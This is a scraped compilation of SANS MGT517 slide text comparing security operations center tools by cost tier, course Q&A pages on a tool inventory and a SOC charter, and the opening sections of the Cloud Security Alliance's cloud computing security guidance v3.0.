intrusion prevention and next generation firewalls. MGT517 | Managing Security Operations 45Network Technology Selection Application & Network Log Collection and Access (besides SIEM) Open Source / Free Moderate Options Expensive Options SyslogWindows Event Log (you already own it)Splunk Security Onion Snare Tenable Log Correlation Engine Logstash Palo Alto Panorama ELSA Any of the SIEM solutionsUsed by Owned by Access to network logs is a basic component of defense. If there’s full PCAP, often the log content could be reconstructed, but it is often faster to look the information in native log format. MGT517 | Managing Security Operations 46Network Technology Selection Full PCAP Open Source / Free Moderate Options Expensive Options SecurityOnion NetWitness Solera OpenFPC LogRhythym Arbor Networks Wireshark (analysis of FPC) Niksun QRadarUsed by Owned by Full Packet capture (full PCAP)is a great capability to have in your repertoire. Strive to have at least a few days of full PCAP for all areas of your network. Even if you have a large-scale commercial tool on your ISP link, there’s a lot of internal to internal traffic you’ll miss. Security Onion is an inexpensive option to implement this for the software, buy you’ll still need to buy or repurpose hardware to run it on with a decent amount of hard drive space (1TB+ recommended). You’ll also need a tap to collect the traffic, but you can squeak by using SPAN ports on your switches. Strive to have appropriately sized taps. MGT517 | Managing Security Operations 47SOC System Secure Architecture Infrastructure: Switch, Firewall configuration, logs, containment / response tools, WiFiDetection and Prevention MGT517 | Managing Security Operations 48Infrastructure Technology Selection eDiscovery – Backup Data Inventory Open Source / Free Moderate Options Expensive Options Search files using existing backup inventoryKroll OnTrack Tape FreeEed ProloremUsed by Owned by In additionto searching across the existing information assets, we want to be able to perform historical records searching and retrieval. http://www.freeeed.org http://www.prolorem.com/software/license/ http://www.ediscovery.com/solutions/tape-services/ MGT517 | Managing Security Operations 49Infrastructure Technology Selection eDiscovery - Keyword Search Open Source / Free Moderate Options Expensive Options Search files using existing storage accessProofPoint Guidance Encase eDiscovery FreeEed Magnet IEF, Axiom IBM StoredIQ Prolorem HP eDiscoveryUsed by Owned by It is better to perform the keyword-based search for evidence during the collection to minimize the effort of eDiscovery. This, however, is not feasible in some scenarios and all data must be reviewed to determine if it is in scope for the electronic discovery request. A keyword searching tool will perform this analysis on a group of documents or a file share. MGT517 | Managing Security Operations 50Infrastructure Technology Selection User Activity Logs Open Source / Free Moderate Options Expensive Options SamhainWindows Event Log (you already own it)Norton, Trend, Kaspersky, McAfee,… OSSEC Tripwire CarbonBlack Response Windows Defender Fireeye HXUsed by Owned by There are often questions regarding specific user actions. Did “Chris” actually type that into the keyboard, or was it some other person? This is of particular importance regarding human resource related inquiries and wrongful dismissal cases. MGT517 | Managing Security Operations 51Infrastructure Technology Selection Wi-Fi IDS and Scanning Open Source / Free Moderate Options Expensive Options Kismet AirTight WIPS Aruba WIPS ZebraAirDefense Cisco wIPS Fluke AirMagnetUsed by Owned by If there’s a wireless deployment in the organization, a Wi-Fi intrusion detection system is necessary. Scanning the environment for rogue access points is also critical. If there is no Wi-Fi deployment, scanning for Wi-Fi present is doubly important. MGT517 | Managing Security Operations 52Infrastructure Technology Selection Malware Detonation Devices Open Source / Free Moderate Options Expensive Options VirusTotal Joe Sandbox FireEye AX Cuckoo Sandbox Fidelis XPS Malwr (online version of Cuckoo)McAfee Advanced Threat Detection (ATD) Palo AltoUsed by Owned by Deploying malware to an analysis environment is a great way to study it. Have a method of doing this. Even if it is a procedure for when to (and when not to) upload to virus total this is necessary capability. More advanced options entail internal automated analysis of all downloads into an environment. This tool operates autonomously. It can be set to operate inline or out of band. MGT517 | Managing Security Operations 53SOC System Secure Architecture Extrastructure: Cloud, Social analysis (not threat intel, but compromise and data), Cellular, ISP dependency, partner capability, tertiary DNS, CDN, connectors / APIs, logs, containment / response toolsDetection and Prevention MGT517 | Managing Security Operations 54Network Security Monitoring (NSM) Technology Selection Cloud Access Brokers (CASB) Expensive Options Expensive Options Bitglass Cisco Cloudlock Netskope Forcepoint Microsoft Cloud App Skyhigh (McAfee owned)Used by Owned by Cloud Access Security Broker is intended to help the organization keep control of its data in the cloud. A short matrix of a comparison of the listed options: https://www.esecurityplanet.com/products/top-casb- vendors.html MGT517 | Managing Security Operations 55SOC System Secure Architecture Correlation: SIEM, LCE, etc.Detection and Prevention MGT517 | Managing Security Operations 56Correlation Technology Selection Security Incident and Event Management (SIEM) Open Source / Free Moderate Options Expensive Options SecurityOnion LogRythym McAfee Enterprise ESM OSSIM X-Pack (Add on to ELK) ArcSight ESM Elastic, Logstash, Kibana (ELK) AlienVault Splunk Enterprise Sec (ES) IBM QRadarUsed by Owned by To manage the abundant data that is available within the organization, there needs to be some system to collect, store, and correlate the data from disparate sensors and devices. This SIEM may be shared with several other functions, or it may be specific to the command center. http://searchsecurity.techtarget.com/feature/Comparing-the-best-SIEM-systems-on-the-market http://siemcomparison.com MGT517 | Managing Security Operations 57SOC System Secure Architecture Storage Data Aggregation: Data lakes, Federation, Separation/CompartmentalizationRetention: disks, discovery requirements,Physical Controls: backups, safes, DestructionSOC Systems MGT517 | Managing Security Operations 58SOC System Secure Architecture Data Aggregation: Data lakes, Federation, Separation/CompartmentalizationStorage MGT517 | Managing Security Operations 59Historical Review Technology Selection Archive Systems Open Source / Free Moderate Options Expensive Options MySQL, PostgreSQL, etc. Cloud storageDedicated SAN storage for historical logs Syslog copy of SIEM logsInexpensive external disk for long-term storageUsed by Owned by Many of our real-time analysis tools become overburdened when attempting to store and index data for longer than some period of time. Seven days or thirty days is a common number to encounter. For most of our analysis, having seven days or thirty days of data in the primary detection or correlation system is ample. But, when we want to turn to a historical perspective, it is often labor intensive to restore data from tape, and we don’t always have a system to restore it to. The model suggested then is to keep your high-performance systems high performing by keeping the bare minimum necessary data in them. But, move the expiring data to a near-line storage system. My favorite example of this is an ePO (McAfee) server that stored data for tens of thousands of endpoints. We had an MS- SQL server that could perform well with about thirty days of data in it. But, we occasionally wanted to do historical analysis of the environment for specific event types with time frames up to a year old. Our solution was to run a daily job that exported the MS-SQL data into a separate PostgreSQL database and purge anything from the ePO server older than 30 days. We kept our performance optimal and could run historical queries against the PostgreSQL databases as needed MGT517 | Managing Security Operations 60SOC System Secure Architecture Retention: disks, discovery requirements,Storage MGT517 | Managing Security Operations 61Retention Technology Selection Log Retention Open Source / Free Moderate Options Expensive Options SyslogWindows Event Log (you already own it)Splunk Security Onion Snare Tenable Log Correlation Engine Logstash Palo Alto M-500 ELSAUsed by Owned by Log collection and retention is a core function. It is the source for the accumulation of information from systems and applications. Having this data in a digestible and reviewable format is very important. The TI capability will probably just leverage the same log collection as NSM. MGT517 | Managing Security Operations 62Retention Technology Selection Dedicated Storage Open Source / Free Moderate Options Expensive Options Just a bunch of disks NAS FC LUNsUsed by Owned by Dedicated storage capability is required for long term asset storage. We might buy inexpensive multi-terabyte drives and store the images long term. This isn’t the most cost effective strategy at large scale, though. MGT517 | Managing Security Operations 63SOC System Secure Architecture Physical Controls: backups, safes Storage MGT517 | Managing Security Operations 64Physical Evidence Access Control Technology Selection Storage Rooms and Safes Open Source / Free Moderate Options Expensive Options Regular office, locking door Reinforced Door Secure room, limited access Drawer storage with simple keySafe: locking with shared combinationSafe: per user access control Safe: vault with operational controls for use and accessUsed by Owned by We need someplace to keep the images or original artifacts safe from anyone access them. MGT517 | Managing Security Operations 65SOC System Secure Architecture DestructionStorage MGT517 | Managing Security Operations 66Physical Evidence Access Control Technology Selection Destruction Capability Open Source / Free Moderate Options Expensive Options Tear & cutShredder:strip shredder, cross cutShredder: burn bags Shredder: outsourced shreddingShredder: 1mm x 3mm cross cut Crusher : outsourced crushing Commercial degausserUsed by Owned by In addition to appropriate retention tools,we also need appropriate destruction tools. MGT517 | Managing Security Operations 67SOC System Secure Architecture Deception Internet connectivityModelsHoneytokens: files, folders, accounts, Honeypots: endpoints, servers, networksSOC Systems MGT517 | Managing Security Operations 68SOC System Secure Architecture Internet connectivityDeception MGT517 | Managing Security Operations 69Deception Technology Selection Non-attributable Network Connections Open Source / Free Moderate Options Expensive Options Tor Cable / FiOS connectionFully redundant non-attributable network Coffee shop / public connectionUsed by Owned by When performing reverse engineering, the analyst would at times like to interface with attacker infrastructure to see what the program will do when it is able to call home. When we let the potentially malicious program do this, we don’t want to use our actual IP address to allow the connection. Having network connectivity that isn’t directly attributable to your business is called non-attributable networks. You need to have this in some form to support reverse engineering. MGT517 | Managing Security Operations 70Internet Connectivity Technology Selection Research Networks Open Source / Free Moderate Options Expensive Options Remnux – live distroUse existing systems in a test configurationVMware vSphere INetSim VMware Workstation (Microsoft) Hyper V VirtualBoxUsed by Owned by To make the potentially malicious software think it has connectivity, sometimes we want to pretend the internet is there, and simulate a DNS response, HTTP response to a request, and so on. Being able to establish a simulated internet is valuable. You can do this relatively cheaply, or set up an elaborate and high-fidelity reproduction for your lab. https://remnux.org/ http://www.inetsim.org/downloads.html MGT517 | Managing Security Operations 71SOC System Secure Architecture ModelsDeception MGT517 | Managing Security Operations 72Models Technology Selection Assessment and Testing Networks Open Source / Free Moderate Options Expensive Options Remnux – live distroUse existing systems in a test configurationVMware vSphere INetSim VMware Workstation (Microsoft) Hyper V VirtualBox (Oracle) Ravello CloudUsed by Owned by To make the potentially malicious software think it has connectivity, sometimes we want to pretend the internet is there, and simulate a DNS response, HTTP response to a request, and so on. Being able to establish a simulated internet is valuable. You can do this relatively cheaply, or set up an elaborate and high-fidelity reproduction for your lab. https://remnux.org/ http://www.inetsim.org/downloads.html MGT517 | Managing Security Operations 73SOC System Secure Architecture Honeytokens: files, folders, accounts, Deception MGT517 | Managing Security Operations 74Honey pots Technology Selection Honey Files, Folders, Tokens,… Open Source / Free Moderate Options Expensive Options Canary Tokens Specter (old) Canary ADHD:Beartrap, Spidertrap, WebBugHoneyBot (Atomic Software) Javelin Networks honeyd (HoneyNet Project) Authentic8 (browser solution) Cymmetria MazeRunner KippoUsed by Owned by Honeypots and the various incarnations are basically traps. It’s easier to lay a large number of traps to help with your detection effort than having to deal with always working to differentiate signal from noise for legitimate systems. Laying traps is a good practice, but is appropriate for a mature SOC capability with many other operational capabilities in place. Honeypots are generally easy to deploy, most require relatively little maintenance but require consistent monitoring. MGT517 | Managing Security Operations 75SOC System Secure Architecture Honeypots: endpoints, servers, networksDeception MGT517 | Managing Security Operations 76Honey pots: Systems and Networks Technology Selection Sanboxes Open Source / Free Moderate Options Expensive Options VirusTotal FireEye Cuckoo Sandbox Joe Sandbox MalwrUsed by Owned by An excellent method for performing analysis of an executable is to let it run and watch it very closely. It’s like putting it under a microscope and watching it operate. What registry key changes did it make? What files were opened? Which ones were written? What DNS requests were made, what HTTPS requests initiated? There are tools that perform this in an automated fashion for you within your network for all files downloaded or e-mailed. It’s important to realize that you’re potentially sharing information back to the attackers by uploading attack files. If you are likely a target of advanced attackers, this open sharing might not be in your best interest. Then again, it might help to raise the cost of the attacks substantially for that threat actor group. Whichever path you choose, make sure your staff understand what is allowed and what is prohibited. MGT517 | Managing Security Operations 77SOC System Secure Architecture Analysis Modeling and Testing EquipmentBaseline systemsCorrelation, MappingForensics: Endpoint, Network, ScannersCode manipulation: disassembler, debuggerSimulatorsSOC Systems MGT517 | Managing Security Operations 78SOC System Secure Architecture Modeling and Testing EquipmentAnalysis MGT517 | Managing Security Operations 79Used by Owned byAnalysis Technology Selection Test Systems – Correlation and Validation Open Source / Free Moderate Options Expensive Options Linux,QemuUse workstations with current system imagesvSphere deployment for testing Linux,Virtualbox VMware Workstation The ability to model and assess the theories of network security monitoring is tremendously valuable. To validate a theory, it often involves constructing a model that allows replaying various actions and assessing the results of those actions. Having a scale model of the network environment, with the ability to reproduce actions and traffic is useful to the NSM team because they can develop more effective hypothesis through testing and demonstration. MGT517 | Managing Security Operations 80Analysis Technology Selection Development Network for EDR, HIDPS, NIDPS Rules Open Source / Free Moderate Options Expensive Options Linux,QemuUse workstations with current system imagesvSphere deployment for testing Linux,Virtualbox VMware Workstation Plus existing NIDPS, HIDPS systemExisting NIDPS, HIDPS Existing NIDPS, HIDPSUsed by Owned by To build new HIDS and NIDS rules, there needs to be an environment where it is safe to replicate attacks. This environment should be instrumented with similar detection capability as the production environment. MGT517 | Managing Security Operations 81Used by Owned byAnalysis Technology Selection Assessment Development Open Source / Free Moderate Options Expensive Options QemuUse existing systems in a test configurationVMware vSphere INetSim VMware Workstation (Microsoft) Hyper V VirtualBox Modeling the production environment allows the pen testers to develop the assessment they intend to perform in the production environment. Stumbling through the real production environment, upon seeing it for the first time, increases the likelihood of causing unintended damage. It is not the right environment for a pen test team to develop and refine the attacks. Yet, the production environment is the right environment to pen test in most cases. What’s the solution? Scan the production environment; develop models of parts of it to refine attacks which then are launched against the production system. Even better if there’s a staging or mirrored environment to work in. MGT517 | Managing Security Operations 82Analysis Technology Selection Exploit Development Open Source / Free Moderate Options Expensive Options GDB CobaltStrike Core Impact Immunity Debugger Buy custom developed exploits Metasploit Social Engineer Toolkit radare2Used by Owned by The pen testers also need custom capability to build exploits. This might be outsourced to third parties or manually developed. MGT517 | Managing Security Operations 83SOC System Secure Architecture Baseline systemsAnalysis MGT517 | Managing Security Operations 84Used by Owned byBaseline Technology Selection Change Control: Approval System Open Source / Free Moderate Options Expensive Options Spreadsheet TrackWise Change Management Remedy CustomWeb App SolarWinds Web Help Desk ServiceNow Few information systems are static. If your information system really doesn’t need to change, configure it so the operating system prohibits execution of executables other than what you’ve explicitly indicated are authorized. Even in the static system case, there needs to be a program in place to authorize proposed changes to be applied to the system. This will be comprised of the business units and can be mapped almost directly from the steering committee. Likely the steering committee members will assign technical delegates to the change control board (CCB). http://www.spartasystems.com/solutions/change-control http://www.solarwinds.com/solutions/it-change-management.aspx MGT517 | Managing Security Operations 85Self-Assessment – Configuration Monitoring Technology Selection Baseline Development and Specification Open Source / Free Moderate Options Expensive Options ScriptsMicrosoft Desired State Configuration (PowerShell)Chef, Puppet Ansible Tripwire McAfee Policy Auditor DISA STIGs Active Directory configuration SEC505 scriptsUsed by Owned by The baseline configuration of the system is what the organization starts with when it deploys a new system. There are many approaches to this -- almost all involve an internal testing and evaluation of some form. Deploying this baseline state and monitoring for deviation from it helps with the identification of potential incidents since a well-configured system should have extremely narrow opportunity for abuse, then any change from that baseline configuration to allow attacker abuse becomes an indicator of compromise. SEC505 scripts: https://cyber-defense.sans.org/blog/downloads MGT517 | Managing Security Operations 86SOC System Secure Architecture Correlation, MappingAnalysis MGT517 | Managing Security Operations 87Correlation and Mapping Technology Selection IOC Development Environment Open Source / Free Moderate Options Expensive Options OpenIOC CaseFile (Paterva) Cisco AMP Maltego CE Maltego Crowdstrike Falcon X IOC Finder, Floss (FireEye) Timesketch YaraUsed by Owned by Tools such as automated sandboxes and malware detonation devices should produce indicators of compromise in a format that feeds your data sharing platforms as well as your detection tools. If you don’t have automation, you should at least have manual capability to develop these items. MGT517 | Managing Security Operations 88SOC System Secure Architecture Forensics: Endpoint, NetworkAnalysis MGT517 | Managing Security Operations 89Used by Owned byForensics: Host & Network Technology Selection Forensic Examination Workstations Open Source / Free Moderate Options Expensive Options SIFT (SANS Investigative Forensic Toolkit)Fred – Forensic purpose built workstationEncase Examiner Santoku Live Image Access Data FTK Repurposed workstations Cellebrite UFED 4PC Network Miner, Wireshark, Bro Like the IR team's workstation, appropriate hardware to perform analysis is a requirement. We'll discuss the major categories of forensic capability in detail. MGT517 | Managing Security Operations 90SOC System Secure Architecture ScannersSOC Systems MGT517 | Managing Security Operations 91Scanners Technology Selection Vulnerability Scanner Open Source / Free Moderate Options Expensive Options OpenVAS Tenable Nessus Tenable Security Center MetasploitBurp Professional (web vulnerability scanner)Core Impact Arachni (web vulnerability scanner)Rapid 7 Metasploit Rapid 7 Expose Burp Free (web vulnerability scanner)QualysUsed by Owned by To map between known configuration and open source vulnerabilities, we use a vulnerability scanner. This can also identify weak and default configurations. What vulnerability scanners don’t show is how the individual system vulnerabilities can be put together to have a substantial impact on the organization. They likewise cannot identify future or latent (unknown) vulnerabilities in the systems. However, if a vulnerability scanner can crash a service, then this is a weakness that should be explored; not just providing an “exception” As with Forensics, there are various subcategories of self-assessment. We’ll discuss each of these separately since they have specific details associated with them. The general intention of this capability is to understand the state of the information systems within the organization. MGT517 | Managing Security Operations 92Scanners Technology Selection Tracking and Remediation Open Source / Free Moderate Options Expensive Options Spreadsheets Tenable Security Center Database Core Impact Rapid 7 Expose QualysUsed by Owned by After finding the weaknesses in an organization through vulnerability scanning or correlation between threat intelligence and inventory systems, the organization should track this weakness and the plan for closing it. This can be a database, or products specifically designed to provide remediation tracking. MGT517 | Managing Security Operations 93SOC System Secure Architecture Code manipulation: disassembler, debuggerAnalysis MGT517 | Managing Security Operations 94Used by Owned byForensics – Reverse Engineering Technology Selection Disassemblers and Debuggers Open Source / Free Moderate Options Expensive Options GDB Hopper Ida Pro Immunity JEB JaD-X OllyDbg To perform analysis of executables, we use tools called debuggers and disassemblers. These tools allow the analysis to interface with the executable architecture (PE, ELF, DEX, Mach-O …) to see what the program does. This may be performed by decompiling the application to explore the executable instructions, or executing the program in a debug environment and interrupting it as it runs to see what the state of the program is. Some of these are free (OllyDbg, JaD-X, GDB). The more expensive tools tend to provide time-saving features. JEB, for example, allows for globally relabeling functions with the APK to help thwart obfuscation techniques whereas JaD-X does not. MGT517 | Managing Security Operations 95SOC System Secure Architecture SimulatorsAnalysis MGT517 | Managing Security Operations 96Simulations Technology Selection System Emulators Open Source / Free Moderate Options Expensive Options QemuUse existing systems in a test configurationVMware vSphere VirtualBox VMware Workstation (Microsoft) Hyper VUsed by Owned by Todevelop exercises, being able to simulate specific systems is valuable. In the absence of a full replication of the production environment, VM snapshots or a staging server is a good choice. This may be shared with the pen test team, to allow an exercise to occur in the same test environment that the exploitation would be developed on. The concept of an exercise is that people are involved in running through scenarios to assure they perform properly for established procedures. It also gives an opportunity to people to test out what they might do when faced with novel situations. Doing table top exercises where we discuss scenarios but don’t actually do anything is useful. But the next level of exercises is to provide a simulated environment, present a scenario, have the team direct and/or perform actions on the system, and see how the system is affected by the decisions. In addition, there’s the Kobayashi Maru Quintin Stone solution, which is discussed, but never expressed how he resolved it. MGT517 | Managing Security Operations 97Portfolio Options Technology Selection Twitter, news sites, threat connect, OTX, Maltego CE, MRTG, RRD toolVisibility (External Awareness) GPG, Skype, Slack, Linux servers, Communication The Hive, RTIR Ops SIFT, GRR, Winpmem/Volatility, OSSEC, syslog, SecurityOnion, ELK, Wireshark, Kismet, CuckooDetection & Prevention MySQL, Postgresql, syslog, ELK Storage Tor, public access, Remnux, ADHD, Canary tokens, Kippo Deception Virtualbox, GDB, Immunity, Metasploit, radare2, STIGs, Timesketch, Maltego CE, Yara, SIFT, Burp, Arachni, JaD-XAnalysisTypical Open Source MGT517 | Managing Security Operations 98Portfolio Options Technology Selection Threat Connect, OTX, Maltego, What’s UpVisibility (External Awareness) Vonage Cloud, Shoretel, Exchange PKI, Microsoft Teams, AWS EC2, Communication CyberCPR, Jira+Confluence, Demisto, ZenDesk, Ops SafeBack, FTK, F-response, Tripwire, Windows Defender, AppLocker, Bitlocker, Fortinet, NetWitness, LogRhythm, ProofPoint, Tripwire, AirDefense, LogRhythm, AlienVaultDetection & Prevention AWS EC2, Azure, Dropbox, Shredding / IronMountain Storage Cable / DSL connection, VMWare Workstation, Honeybot, Authentic8 Deception VMWare Workstation, CobaltStrike, TrackwiseChange Management, Tripwire, PowerShell DSC, CaseFile, Maltego, FRED workstation, Burp Professional, Hopper, JEBAnalysisTypical Moderate MGT517 | Managing Security Operations 99Portfolio Options Technology Selection RecordedFuture, Crowdstrike, CarbonBlack, Tivoli, Cisco NetFlow, iSIGHTVisibility (External Awareness) Avaya, Silent Circle, iOS phones, PKI signed user certs Communication Service Now, Phantom(Splunk), Remedy Ops Tableau, FireeyeHX, CarbonBlack Protect, Encase eDiscovery, Cylance Protect, McAfee FDE, Cellebrite UFED, Cisco FirePOWER, Splunk, Solera, Arbor Network, Cisco wIPS, Palo Alto, FireeyeAX, McAfee Skyhigh, Splunk Enterprise SecDetection & Prevention Tenable LCE, data lake from SIEM, SANS LUNs, Safe with logging and per user access control, Commercial degausser Storage Authentic8, VMWare vSphere, redundant non-attributable network, Javelin Networks, Cymmetria MazeRunner, Joe Sandbox Deception VMWare Workstation, CobaltStrike, CaseFile, Maltego, FRED workstation, Burp Professional, IDA Pro, CoreImpact, Rapid7 Nexpose, ServiceNow (change control), McAfee ePolicy Auditor, Chef/Puppet, Crowstrike Falcon X, Cisco AMP, Cellebrite UFED 4PC, Encase Enterprise, Tenable SCAnalysisTypical Open Source --- ## Source: https://montance.com/questions.php?id=53 [![pdf](content/images/icons/pdf.svg) Technology Taxonomy.pdf](https://drive.google.com/file/d/1KSwlezxrfzUfwyFuX5_AqjpUilEmQgfq/view?usp=sharing) Technology Taxonomy Categorization of security technologies and their roles in operations. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=52 [![xlsx](content/images/icons/xlsx.svg) 2020-06-15 updated tool inventory.xlsx](https://docs.google.com/spreadsheets/d/1FNVZ4226QhDhFIrzbu2jg3a_GolG8nLb/edit?usp=sharing) 2020 06 15 Updated Tool Inventory Inventory of security tools categorized by function and license type. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What tool is listed for 'External Threat Feeds'? A: ThreatConnect. * Q: What tool is used for 'Internal Portal for IOC Tracking'? A: MISP. * Q: What is the 'Open Source Option' for Vulnerability Scanning? A: OpenVAS. * Q: What tool is listed for 'Forensic Workstations'? A: SIFT (SANS Investigative Forensic Toolkit). * Q: What tool is used for 'Code manipulation' (Android)? A: JaD-X. * Q: What tool is listed as 'Enterprise Tier' for Threat Intel? A: Recorded Future. * Q: What is 'CyberChef' used for? A: Data manipulation and decoding (Forensics). * Q: What tool is used for 'Tracking and Remediation'? A: JIRA (implied by 'Database/Spreadsheets' or similar context in other lists, but here 'Spreadsheets' is listed). * Q: What is 'GDB'? A: A debugger (GNU Debugger). * Q: What is 'Fred'? A: A forensic purpose-built workstation. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=50 [![docx](content/images/icons/docx.svg) Charter With WebBug.docx](https://docs.google.com/document/d/1sIL1-yH4Yrbm5Xu0c029qeh8GU7nwFUk/edit?usp=sharing) Charter With Webbug Template for a SOC charter including mission, vision, and operational scope. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the Mission of the SOC? A: To address cybersecurity threats of opportunistic, well-funded, and nation-state levels. * Q: What is the Vision of the SOC? A: To assure compliance and exist as a learning capability that keeps pace with threats. * Q: What are the Operational Hours? A: 24 hours per day, every day. * Q: What is the Statement of Success? A: When it intervenes in adversary efforts to impact availability, confidentiality, and integrity. * Q: What is the strategy for staffing? A: A combination of on-premises, on-call, and outsourced contracts. * Q: What is the role of the Steering Committee? A: To provide governance and direction. * Q: What metrics are collected? A: Performance metrics reported monthly to stakeholders. * Q: What does 'MERGE\_BUSINESSNAME' represent? A: A placeholder for the organization's name. * Q: What license is this charter shared under? A: Creative Commons Share Alike 4.0. * Q: What is the purpose of the 'Web Bug'? A: To track redistribution of the document. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgSVREMjFRMjF4Qms/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgSVREMjFRMjF4Qms/view?usp=sharing]** SECURITY GUIDANCE FOR CRITICAL AREAS OF FOCUS IN CLOUD COMPUTING V3.0 SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 1 INTRODUCTION The guidance provided herein is the third version of the Cloud Security Alliance document, “Security Guidance for Critical Areas of Focus in Cloud Computing ,” which was originally released in April 2009. The permanent archive locations for these documents are: http://www.cloudsecurityalliance.org/guidance/csaguide.v3.0.pdf (this d ocument) http://www.cloudsecurityalliance.org/guidance/csaguide.v2.1.pdf (version 2 guidance) http://www.cloudsecurityalliance.org/guidance/csaguide.v1.0.pdf (version 1 guidance) In a departure from the second version of our guidance, each domain was assigned its own editor and peer reviewed by industry experts. The structure and numbering of the domains align with industry standards and best practices. We encourage the adoption of this guidance as a good operating practice in strategic management of cloud services. These white papers and their release schedule are located at: http://www.cloudsecurityalliance.org/guidance / In another change from the second version, there are some updated domain names. We have these changes: Domain 3: Legal Issues: Contracts and Electronic Disco very and Domain 5: Information Management and Data Security. We now have added another domain, which is Domain 14: Security as a Service © 20 11 Cloud Security Alliance. All rights reserved. You may download, store, display on your computer, view, print, and link to the Cloud Security Alliance Guidance at http://www.cloudsecurityalliance.org/guidance/csaguide.v3.0.pdf subject to the following: (a) the Guidance may be used solely for your personal, informational, non -commercial use; (b) the Guidance may not be modified or altered in any way; (c) the Guidance may not be redistributed; and (d) the trademark, copyright or other notices may not be removed. You may quote portions of the Guidance as permitted by the Fair Use provisions of the United States Copyright Act, provided that you attribute the portions to the Cloud Secur ity Alliance Guidance Version 3.0 (2011). SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 2 TABLE OF CONTENTS Introduction ........................................................................................................................................................................... 1 Foreword ................................................................................................................................................................................ 3 Acknowledgments ................................................................................................................................................................. 4 Letter from the Editors .......................................................................................................................................................... 6 An Editorial Note on Risk ...................................................................................................................................................... 8 Section I. Cloud Architecture ............................................................................................................................................... 11 Domain 1 : Cloud Computing Architectural Framework ....................................................................................................... 12 Section II. Governing in the Cloud ...................................................................................................................................... 29 Domain 2 : Governance and Enterprise Risk Management .................................................................................................. 30 Domain 3 : Legal Issues: Contracts and Electronic Discovery ............................................................................................... 35 Domain 4 : Compliance and Aud it Management .................................................................................................................. 45 Domain 5 : Information Management and Data Security ..................................................................................................... 50 Domain 6 : Interoperability and Portability .......................................................................................................................... 64 Section III. Operating in the Cloud ...................................................................................................................................... 73 Domain 7 : Traditional Security, Business Continuity, and Disaster Recovery ..................................................................... 74 Domain 8 : Data Center Operations ...................................................................................................................................... 89 Domain 9 : Incident R esponse .............................................................................................................................................. 93 Domain 10 : Application Security ........................................................................................................................................ 103 Domain 11 : Encryption and Key Management .................................................................................................................. 129 Domain 12 : Identity, Entitlement, and Access Management ............................................................................................ 136 Domain 13 : Virtualization .................................................................................................................................................. 157 Domain 14 : Security as a Service ....................................................................................................................................... 162 SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 3 FOREWORD Welcome to the third version of the Cloud Security Alliance’s “Security Guidance for Critical Areas of Focus in Cloud Computing.” As cloud computing begins to mature, managing the opportunities and security challenges become s crucial to business development. We humbly hope to provide you with both guidance and inspiration to support your business needs while managing new risks. The Cloud Security Alliance has delivered actionab le, best practices based on previous versions of this guidance. As we continue to deliver tools to enable businesses to transition to cloud services while mitigating risk, this guidance will act as the compass for our future direction. In v3. 0, you will find a collection of facts and opinions gathered from over seventy industry experts worldwide. We have compiled this information from a range of activities, including international chapters, partnerships, new research, and conference events geared towards furthering our mission. You can follow our activities at www.cloudsecurityalliance.org . The path to secure cloud computing is surely a long one, requiring the participation of a broad set of s takehol ders on a global basis. However, we should happily recognize the progress we are seeing: new cloud security solutions are regularly appearing, enterprises are using our guidance to engage with cloud providers, and a healthy public dialogue over compliance and trust issues has erupted around the world. The most important victory we have achieved is that security professionals are vigorously engaged in securing the future, rather than simply protecting the present. Please stay engaged on this topic and con tinue to work with us to complete this important mission. Best Regards, Jerry Archer Dave Cullinane Nils Puhlmann Alan Boehme Paul Kurtz Jim Reavis The Cloud Security Alliance Board of Directors SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 4 ACKNOWLEDGMENTS Domain Authors/Contributors Domain 1: Chris Hoff, Paul Simmonds Domain 2: Marlin Pohlman, Becky Swain, Laura Posey, Bhavesh Bhagat Domain 3: Francoise Gilbert, Pamela Jones Harbour, David Kessler, Sue Ross, Thomas Trappler Domain 4: Marlin Pohlman, Said Tabet Domain 5: Rich Mogu ll, Jesus Luna Domain 6: Aradhna Chetal, Balaji Ramamoorthy, Jim Peterson, Joe Wallace, Michele Drgon, Tushar Bhavsar Domain 7: Randolph Barr, Ram Kumar, Michael Machado , Marlin Pohlman Domain 8: Liam Lynch Domain 9: Michael Panico, Bernd Grobauer, Carlo Espiritu, Kathleen Moriarty, Lee Newcombe, Dominik Birk, Jeff Reed Domain 10: Aradhna Chetal, Balaji Ramamoorthy, John Kinsella, Josey V. George, Sundararajan N., Devesh Bhatt, Tushar Bhavsar Domain 11: Liam Lynch Domain 12: Paul Simmonds, Andre w Yeomans, Ian Dobson, John Arnold, Adrian Secombe, Peter Johnson, Shane Tully , Balaji Ramamorthy, Subra Kumaraswamy, Rajiv Mishra, Ulrich Lang, Jens Laundrup , Yvonne W ilson Domain 13: Dave Asprey, Richard Zhao, Kanchanna Ramasamy Balraj, Abhik Chaudhuri, Melvin M. Rodriguez Domain 14: Jens Laundrup, Marlin Pohlman, Kevin Fielder Peer Reviewers Valmiki Mukherjee, Bernd Jaeger, Ulrich Lang, Hassan Takabi, Pw Carey, Xavier Guerin, Troy D. Casey, James Beadel, Anton Chuvakin, 